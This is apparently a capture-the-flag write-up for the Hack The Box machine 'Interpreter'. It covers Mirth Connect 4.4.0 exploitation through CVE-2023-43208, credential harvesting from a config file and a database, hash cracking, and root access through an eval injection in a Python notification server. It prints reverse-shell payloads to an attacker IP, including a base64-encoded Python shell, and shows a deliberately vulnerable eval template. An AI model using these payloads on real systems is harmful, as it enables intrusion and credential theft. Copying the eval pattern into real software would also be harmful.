Post

HTB - Interpreter

HTB - Interpreter


Interpreter HTB Writeup

Recon

nmap

first let’s start with nmap :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
┌──(root㉿0x3bs)-[/home/e_3bs/Desktop/htb/Interpreter]
└─ nmap -sV -sC -o nmap.txt 10.129.244.184
Nmap scan report for 10.129.244.184
Host is up (0.22s latency).
Not shown: 997 closed tcp ports (reset)
PORT    STATE SERVICE  VERSION
22/tcp  open  ssh      OpenSSH 9.2p1 Debian 2+deb12u7 (protocol 2.0)
| ssh-hostkey:
|   256 07:eb:d1:b1:61:9a:6f:38:08:e0:1e:3e:5b:61:03:b9 (ECDSA)
|_  256 fc:d5:7a:ca:8c:4f:c1:bd:c7:2f:3a:ef:e1:5e:99:0f (ED25519)
80/tcp  open  http     Jetty
| http-methods:
|_  Potentially risky methods: TRACE
|_http-title: Mirth Connect Administrator
443/tcp open  ssl/http Jetty
|_http-title: Mirth Connect Administrator
|_ssl-date: TLS randomness does not represent time
| http-methods:
|_  Potentially risky methods: TRACE
| ssl-cert: Subject: commonName=mirth-connect
| Not valid before: 2025-09-19T12:50:05
|_Not valid after:  2075-09-19T12:50:05
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel

Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
# Nmap done at Wed Apr 22 02:51:46 2026 -- 1 IP address (1 host up) scanned in 31.72 seconds

Website - 80 TCP

Let’s check the web page :

it’s redirected us to ...../webadmin/index.action

Mirth Connect

after click on Luach Mirth Connect Administrator and download the file we find the version of mirth connect :

1
<title>Mirth Connect Administrator 4.4.0</title>

Exploitation

Shell as mith

So after search for exploits for this version i found this CVE : CVE-2023-43208

OK let’s get a shell by the POC :

run the script with the parameters:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
┌──(venv)(root㉿0x3bs)-[/home/…/Desktop/htb/Interpreter/CVE-2023-43208-EXPLOIT]
└─ python3 CVE-2023-43208.py -u https://10.129.244.184 -lh 10.10.14.5 -lp 1234

[*]  ██████ ██    ██ ███████       ██████   ██████  ██████  ██████        ██   ██ ██████  ██████   ██████   █████
[*] ██      ██    ██ ██                 ██ ██  ████      ██      ██       ██   ██      ██      ██ ██  ████ ██   ██
[*] ██      ██    ██ █████   █████  █████  ██ ██ ██  █████   █████  █████ ███████  █████   █████  ██ ██ ██  █████
[*] ██       ██  ██  ██            ██      ████  ██ ██           ██            ██      ██ ██      ████  ██ ██   ██
[*]  ██████   ████   ███████       ███████  ██████  ███████ ██████             ██ ██████  ███████  ██████   █████

[+] Coded By: K3ysTr0K3R and Chocapikk ( NSA, we're still waiting :D )

[*] Setting up listener on 10.10.14.5:1234 and launching exploit...
Exception in thread Thread-1 (start_listener):
Traceback (most recent call last):
  File "/usr/lib/python3.13/threading.py", line 1044, in _bootstrap_inner
    self.run()
    ~~~~~~~~^^
  File "/usr/lib/python3.13/threading.py", line 995, in run
    self._target(*self._args, **self._kwargs)
    ~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/home/e_3bs/Desktop/htb/Interpreter/CVE-2023-43208-EXPLOIT/CVE-2023-43208.py", line 55, in start_listener
    with socket.create_server(("0.0.0.0", int(self.rshell_port))) as listener:
         ~~~~~~~~~~~~~~~~~~~~^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^^
  File "/usr/lib/python3.13/socket.py", line 949, in create_server
    raise error(err.errno, msg) from None
OSError: [Errno 98] Address already in use (while attempting to bind on address ('0.0.0.0', 1234))
[*] Looking for Mirth Connect instance...
[+] Found Mirth Connect instance
[+] Vulnerable Mirth Connect version 4.4.0 instance found at https://10.129.244.184
[!] sh -c $@|sh . echo bash -c '0<&53-;exec 53<>/dev/tcp/10.10.14.5/1234;sh <&53 >&53 2>&53'
[*] Launching exploit against https://10.129.244.184...
                                                                                                                                                                       
┌──(venv)─(root㉿0x3bs)-[/home/…/Desktop/htb/Interpreter/CVE-2023-43208-EXPLOIT]

get the shell by penelope bc there is problems in the script:

1
2
3
4
5
6
7
8
9
10
11
12
┌──(root㉿0x3bs)-[/home/e_3bs/Desktop/htb/Interpreter]
└─# penelope -p 1234
[+] Listening for reverse shells on 0.0.0.0:1234 →  127.0.0.1 • 192.168.77.129 • 172.18.0.1 • 172.17.0.1 • 10.10.14.5
➤  🏠 Main Menu (m) 💀 Payloads (p) 🔄 Clear (Ctrl-L) 🚫 Quit (q/Ctrl-C)
[+] Got reverse shell from interpreter~10.129.244.184-Linux-x86_64 😍 Assigned SessionID <1>
[+] Attempting to upgrade shell to PTY...
[+] Shell upgraded successfully using /usr/bin/python3! 💪
[+] Interacting with session [1], Shell Type: PTY, Menu key: F12 
[+] Logging to /root/.penelope/sessions/interpreter~10.129.244.184-Linux-x86_64/2026_04_23-10_33_28-441.log 📜
───────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────────
mirth@interpreter:/usr/local/mirthconnect$ 

we got a shell as mirth , let’s do some enumeration to get ssh creds :


SSH

mysql

in our directory there is a configuration file :

1
2
3
4
5
6
7
8
mirth@interpreter:/usr/local/mirthconnect$ ls
client-lib  custom-lib	extensions  mcserver		mcservice	     mirth-server-launcher.jar	public_api_html  server-launcher-lib  uninstall
conf	    docs	logs	    mcserver.vmoptions	mcservice.vmoptions  preferences		public_html	 server-lib	      webapps
mirth@interpreter:/usr/local/mirthconnect$ cd conf
mirth@interpreter:/usr/local/mirthconnect/conf$ ls
dbdrivers.xml  log4j2.properties  mirth.properties
mirth@interpreter:/usr/local/mirthconnect/conf$ cat mirth.properties
# Mirth Connect configuration file

in this file i found these two lines :

1
2
3
# database credentials
database.username = mirthdb
database.password = MirthPass123!

ok after login mysql with these creds :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
mirth@interpreter:/usr/local/mirthconnect/conf$ mysql -u mirthdb -pMirthPass123!
Welcome to the MariaDB monitor.  Commands end with ; or \g.
Your MariaDB connection id is 48
Server version: 10.11.14-MariaDB-0+deb12u2 Debian 12

Copyright (c) 2000, 2018, Oracle, MariaDB Corporation Ab and others.

Type 'help;' or '\h' for help. Type '\c' to clear the current input statement.

MariaDB [(none)]>



MariaDB [(none)]>  show databases;
+--------------------+
| Database           |
+--------------------+
| information_schema |
| mc_bdd_prod        |
+--------------------+
2 rows in set (0.001 sec)

MariaDB [(none)]> use  mc_bdd_prod ;
Reading table information for completion of table and column names
You can turn off this feature to get a quicker startup with -A

Database changed
MariaDB [mc_bdd_prod]> show tables;
+-----------------------+
| Tables_in_mc_bdd_prod |
+-----------------------+
| ALERT                 |
| CHANNEL               |
| CHANNEL_GROUP         |
| CODE_TEMPLATE         |
| CODE_TEMPLATE_LIBRARY |
| CONFIGURATION         |
| DEBUGGER_USAGE        |
| D_CHANNELS            |
| D_M1                  |
| D_MA1                 |
| D_MC1                 |
| D_MCM1                |
| D_MM1                 |
| D_MS1                 |
| D_MSQ1                |
| EVENT                 |
| PERSON                |
| PERSON_PASSWORD       |
| PERSON_PREFERENCE     |
| SCHEMA_INFO           |
| SCRIPT                |
+-----------------------+
21 rows in set (0.001 sec)

MariaDB [mc_bdd_prod]>

let’s get the data in the PRESON_PASSWORD , PERSON columns :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
MariaDB [mc_bdd_prod]> select * from PERSON_PASSWORD ;
+-----------+----------------------------------------------------------+---------------------+
| PERSON_ID | PASSWORD                                                 | PASSWORD_DATE       |
+-----------+----------------------------------------------------------+---------------------+
|         2 | u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w== | 2025-09-19 09:22:28 |
+-----------+----------------------------------------------------------+---------------------+
1 row in set (0.000 sec)

MariaDB [mc_bdd_prod]> select * from PERSON ;
+----+----------+-----------+----------+--------------+----------+-------+-------------+-------------+---------------------+--------------------+--------------+------------------+-----------+------+---------------+----------------+-------------+
| ID | USERNAME | FIRSTNAME | LASTNAME | ORGANIZATION | INDUSTRY | EMAIL | PHONENUMBER | DESCRIPTION | LAST_LOGIN          | GRACE_PERIOD_START | STRIKE_COUNT | LAST_STRIKE_TIME | LOGGED_IN | ROLE | COUNTRY       | STATETERRITORY | USERCONSENT |
+----+----------+-----------+----------+--------------+----------+-------+-------------+-------------+---------------------+--------------------+--------------+------------------+-----------+------+---------------+----------------+-------------+
|  2 | sedric   |           |          |              | NULL     |       |             |             | 2025-09-21 17:56:02 | NULL               |            0 | NULL             |           | NULL | United States | NULL           |           0 |
+----+----------+-----------+----------+--------------+----------+-------+-------------+-------------+---------------------+--------------------+--------------+------------------+-----------+------+---------------+----------------+-------------+
1 row in set (0.001 sec)

MariaDB [mc_bdd_prod]>

so this is the data we got : sedric : u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w==


hashcat

after search for Mirth Connect hash algorithm :

https://docs.nextgen.com/en-US/mirthc2ae-connect-by-nextgen-healthcare-user-guide-3281761/default-digest-algorithm-in-mirthc2ae-connect-4-4-62159

so it use SHA256 to PBKDF2WithHmacSHA256 but there is a problem : Both salt and hash are expected to be in base64-encoding and all fields must be separated by a

so let’s re encode it :

https://notes.benheater.com/books/hash-cracking/page/pbkdf2-hmac-sha256

this is the python script :

1
2
3
4
5
6
7
8
9
10
import base64

encoded_hash  = "u/+LBBOUnadiyFBsMOoIDPLbUR0rk59kEkPU17itdrVWA/kLMt3w+w=="

data = base64.b64decode(encoded_hash)

salt = base64.b64encode(data[:8]).decode()
_hash = base64.b64encode(data[8:]).decode()

print(f"the finale hash : sha256:600000:{salt}:{_hash}")
1
2
3
┌──(root㉿0x3bs)-[/home/e_3bs/Desktop/htb/Interpreter]
└─ python3 decode.py
the finale hash : sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=

OK now let’s run hashcat after put the hash in hash.txt :

1
2
3
4
5
┌──(root㉿0x3bs)-[/home/e_3bs/Desktop/htb/Interpreter]
└─ hashcat -a 0 -m 10900 hash.txt /usr/share/wordlists/rockyou.txt -w 1 --force
hashcat (v7.1.2) starting
........SNIP....
sha256:600000:u/+LBBOUnac=:YshQbDDqCAzy21EdK5OfZBJD1Ne4rXa1VgP5CzLd8Ps=:snowflake1

So the ssh creds is sedric : snowflake1


user.txt


PrivESC

Enum

Ok after type ps aux we found this script running as root :

1
root        3570  0.0  0.7  39872 31136 ?        Ss   10:12   0:03 /usr/bin/python3 /usr/local/bin/notif.py

so let’s view it :

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
#!/usr/bin/env python3
"""
Notification server for added patients.
This server listens for XML messages containing patient information and writes formatted notifications to files in /var/secure-health/patients/.
It is designed to be run locally and only accepts requests with preformated data from MirthConnect running on the same machine.
It takes data interpreted from HL7 to XML by MirthConnect and formats it using a safe templating function.
"""
from flask import Flask, request, abort
import re
import uuid
from datetime import datetime
import xml.etree.ElementTree as ET, os

app = Flask(__name__)
USER_DIR = "/var/secure-health/patients/"; os.makedirs(USER_DIR, exist_ok=True)

def template(first, last, sender, ts, dob, gender):
    pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")
    for s in [first, last, sender, ts, dob, gender]:
        if not pattern.fullmatch(s):
            return "[INVALID_INPUT]"
    # DOB format is DD/MM/YYYY
    try:
        year_of_birth = int(dob.split('/')[-1])
        if year_of_birth < 1900 or year_of_birth > datetime.now().year:
            return "[INVALID_DOB]"
    except:
        return "[INVALID_DOB]"
    template = f"Patient {first} {last} ({gender}),  years old, received from {sender} at {ts}"
    try:
        return eval(f"f'''{template}'''")
    except Exception as e:
        return f"[EVAL_ERROR] {e}"

@app.route("/addPatient", methods=["POST"])
def receive():
    if request.remote_addr != "127.0.0.1":
        abort(403)
    try:
        xml_text = request.data.decode()
        xml_root = ET.fromstring(xml_text)
    except ET.ParseError:
        return "XML ERROR\n", 400
    patient = xml_root if xml_root.tag=="patient" else xml_root.find("patient")
    if patient is None:
        return "No <patient> tag found\n", 400
    id = uuid.uuid4().hex
    data = {tag: (patient.findtext(tag) or "") for tag in ["firstname","lastname","sender_app","timestamp","birth_date","gender"]}
    notification = template(data["firstname"],data["lastname"],data["sender_app"],data["timestamp"],data["birth_date"],data["gender"])
    path = os.path.join(USER_DIR,f"{id}.txt")
    with open(path,"w") as f:
        f.write(notification+"\n")
    return notification

if __name__=="__main__":
    app.run("127.0.0.1",54321, threaded=True

notif.py

so there is ssti vuln return eval(f"f'''{template}'''"

to can get this site in our machine we will do ssh tunneling by :

1
ssh -L 54321:127.0.0.1:54321 sedric@10.129.244.184

get the site in our machine

1
2
3
4
5
6
7
8
<patient>
    <firstname>placeholder</firstname>
    <lastname>placeholder</lastname>
    <sender_app>placeholder</sender_app>
    <timestamp>placeholder</timestamp>
    <birth_date>DD/MM/YYYY</birth_date>
    <gender>placeholder</gender>
</patient>

SSTI Injection to get root

we can put the payload in any tag except bith_date so the payload we will use is python shell :

1
python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.5",9001));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);import pty; pty.spawn("sh")'

the reverse shell encoded :

1
cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjUiLDkwMDEpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCJzaCIpJw==

but we must encode it bc this regex : pattern = re.compile(r"^[a-zA-Z0-9._'\"(){}=+/]+$")

so will will encode it as base64 and the server will decode it and run it :

the payload :

1
2
3
4
5
6
7
8
curl -X POST http://127.0.0.1:54321/addPatient -H "Content-Type: application/xml" -d "<patient>
    <firstname>{7+7}</firstname>
    <lastname>{7+7}</lastname>
    <sender_app>{7+7}</sender_app>
    <timestamp>{7+7}</timestamp>
    <birth_date>01/01/1999</birth_date>
    <gender>{__import__('os').system(__import__('base64').b64decode('cHl0aG9uMyAtYyAnaW1wb3J0IHNvY2tldCxzdWJwcm9jZXNzLG9zO3M9c29ja2V0LnNvY2tldChzb2NrZXQuQUZfSU5FVCxzb2NrZXQuU09DS19TVFJFQU0pO3MuY29ubmVjdCgoIjEwLjEwLjE0LjUiLDkwMDEpKTtvcy5kdXAyKHMuZmlsZW5vKCksMCk7IG9zLmR1cDIocy5maWxlbm8oKSwxKTtvcy5kdXAyKHMuZmlsZW5vKCksMik7aW1wb3J0IHB0eTsgcHR5LnNwYXduKCJzaCIpJw==').decode())}</gender>
</patient>"

after run the command :

shell as root

We got root shell 👨‍💻

And that’s it see you later

This post is licensed under CC BY 4.0 by the author.